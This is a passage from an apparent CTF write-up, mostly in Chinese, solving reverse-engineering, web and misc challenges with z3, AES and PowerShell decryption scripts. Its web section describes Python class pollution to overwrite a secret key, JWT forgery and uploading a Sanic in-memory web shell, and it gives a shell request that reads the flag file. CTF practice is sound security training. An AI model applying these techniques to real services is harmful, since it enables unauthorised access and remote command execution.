& (unsigned __int8)v8 & (v10 == 0) & (v11 == 0) & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v9 == 0) | v3 | (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & ((v13 | v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v9 == 0) & (v5 == 0))) v17 = 0; } return v17; } void byteToBinaryString(unsigned char byte, unsigned int* binaryArray) { int i; for (i = 7; i >= 0; i--) { binaryArray[7 - i] = ((byte & (1 << i)) ? 1 : 0); } } int main() { std::cout << "Hello World!\n"; for (unsigned int i = 0; i < 0xff; i++) { unsigned int binary[12]; binary[8] = 1; binary[9] = 1; binary[10] = 1; binary[11] = 1; byteToBinaryString(i, binary); if (check((uint64)binary)) { printf("%x", i); } } }
>> > from Crypto.Cipher import AES >> > c = bytes.fromhex("128fecc28504b24c5bba4acf11360a48") >> > key = bytes.fromhex("3577402ECCA44A3F9AB72182F9B01F35") >> > aes = AES.new(key = key, mode = AES.MODE_ECB) >> > m = aes.decrypt(c) >> > m.hex() '4d87ef0377bb491a80f54620245807c4' >> >
Serv1ce
myclassVar.decode是RC4+base64,两个OnClickListener中分别调用startService和stopService
MainActivity通过intent将input传递给MyService
MyService是一个service类,经过onCreate和onStartCommand后this.num=11
可以直接拿到key,关键在于native层的check
check逐字节加密并比较
根据条件z3嗦flag
from z3 import * # 已知数组 v (请根据实际情况填入 36 个已知值) enc = [ 0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB, 0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF, 0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B, 0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67] num = 11 # 求key key_str = "1liIl11lIllIIl11llII" key = bytearray(64) for i in range(64): char = key_str[i % len(key_str)] key[i] = ((ord(char) - ord('w')) ^ 23) & 255 print("Key:",key) # key=[173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197] # 创建 Z3 Solver solver = Solver() # 创建 input 数组 input = [BitVec(f'flag{i}', 8) for i in range(36)] # 添加约束 for i in range(36): tmp = (input[i] ^ key[i]) * num solver.add(tmp == enc[i]) # 输出flag if solver.check() == sat: model = solver.model() result = [model[input[i]].as_long() for i in range(36)] # 将字节数组转换为字符串 flag = ''.join(chr(byte) for byte in result) print(f"flag{{{flag}}}") # flag{f4c99233-3b19-426c-8ca6-a44d1c67f5d8} else: print("No solution found.")
a_game
分析该程序 在某个函数的位置发现一个解密的功能
控制程序走到这一段 运行后发现其会解密出一个powershell脚本并运行 将powershell脚本提取出来
可以发现采用了混淆的手法 并且使用iex执行
将iex修改为write-out打印出来
重复以上操作多次
最后解密出如下的代码
逆向一下发现是嵌套了RC4以及其他的一些算法 并且从注册表中读取输入的内容
最后密文如下
原有代码基础上写脚本逆向
enenenen1 原本以为循环加密的36次 结果在第一轮解密的时候就可能成功打印出正确结果,,
function d2 { param( $inputbyte ) $key = @(0x70, 0x30, 0x77, 0x65, 0x72) for ($k = 0; $k -lt $inputbyte.Length; $k++) { $inputbyte[$k] = ($inputbyte[$k] - $key[$k % $key.Length]) } return $inputbyte; } function d3 { param( $inputbyte ) $key = @(0x70, 0x30, 0x77, 0x33, 0x72) for ($k = 0; $k -lt $inputbyte.Length; $k++) { $inputbyte[$k] = $inputbyte[$k] / $key[$k % $key.Length] } return $inputbyte; } function d1 { param( $inputbyte ) $key = $inputbyte[36..40 ] $encryptedText = $inputbyte[0..35] Write-Host $encryptedText #Write-Output "" Write-Host $key #$encryptedText = @(); for ($k = 0; $k -lt $encryptedText.Length ; $k++) { $key = enenenenene -plaintextBytes $key -keyBytes $encryptedText; $encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key; Write-Host $encryptedText #Write-Output "" Write-Host $key } Write-Output("HHHHHHHHH") return $encryptedText } $result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616) #2 2 3 2 2 2 1() $test = @(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36) $out = enenenenene1 -input $test Write-Host "encrypt:" Write-Host $out Write-Host "decrypt:" $out2 = d1 -input $out #Write-Host $out2 -NoNewline Write-Host "real decrypt:" (d1 -input (d2 -input (d2 -input (d2 -input (d3 -input ( d2 -input (d2 -input $result)))))))
转换一下即可 =-=
flag = [55,51,52,49,50,48,51,54,45,55,100,56,99,45,52,51,55,98,45,57,48,50,54,45,48,99,50,99,97,49,98,55,102,55,57,100] print(flag) print(bytes(flag))
Web
capoo
非预期,能直接读start.sh,解码出里面的flag文件名也可以直接读取
解码即可得到flag
ez_picker
url/register
注册用户admin/admin
url/login
登录
url/upload
显示{“status”:”fail”,”message”:”Permission Denied”}
查看token
根据源码得知,把guest改为admin即可访问upload
但是需要secret_key作为修改前提
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
打python污染,进行污染secret_key
然后修改jwt
存在上传点
https://www.cnblogs.com/gxngxngxn/p/18205235
根据这篇文章去打sanic框架下的内存马
生成然后上传
发现存在过滤
去污染
污染后成功上传
/gxngxngxn?gxngxngxn=cat /tr3e_fl4g_1s_h3re_lol
得到flag
Misc
ezflag
下载附件,解压,发现流量包丢流量包工具 CTF-NET 中
发现存在flag.zip
一键分离所有文件
解压出flag.zip
但是没办法打开,拖入010中
很清晰的看见有图片头
改后缀为png
得到flag
PvZ
李华的梦想是攒钱买毁灭菇加农炮,可是他总攒不住钱,请帮他理财,算一下他刚开始的这局游戏花了多少钱
1.打开压缩包,里面有一个压缩包,问密码是多少钱,看另一个文件夹
2.里面有一个文档,上面说:”李华的梦想是攒钱买毁灭菇加农炮,可是他总攒不住钱,请帮他理财,算一下他刚开始的这局游戏花了多少钱”(也就是密码),此外带有一张图片,上面有游戏的信息
3. ,阳光南瓜掌价格是225,会产生阳光(每25s产生50点阳光),土豆加农炮价格150(每30s可以拥有一发炮弹,炸僵尸可以获得50阳光),黄油地刺价格未知,不会产生阳光。但是在现在的栏目中并没有黄油地刺,李华最少使用了两次四叶草来换植物,每次是50,因此可以判断价格在600-1000之间(价格是md5值),直接是会用脚本生成600-1000的md5值
import hashlib
def generate_md5(number):
return hashlib.md5(str(number).encode()).hexdigest()
for i in range(599, 1001):
print(f"{generate_md5(i)}")
得到字典后,用ARCHPR暴力破解可以知道使用了738点阳光(md5=217eedd1ba8c592db97d0dbe54c7adfc)
得到一张歪斜的不全的二维码和一个角上的信息
先使用夸克进行矫正,然后利用
然后稍微确定一下定位符的位置,利用ppt进行拼接即可扫得到一串
微信扫码得到
D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k
结合图片名称猜测得到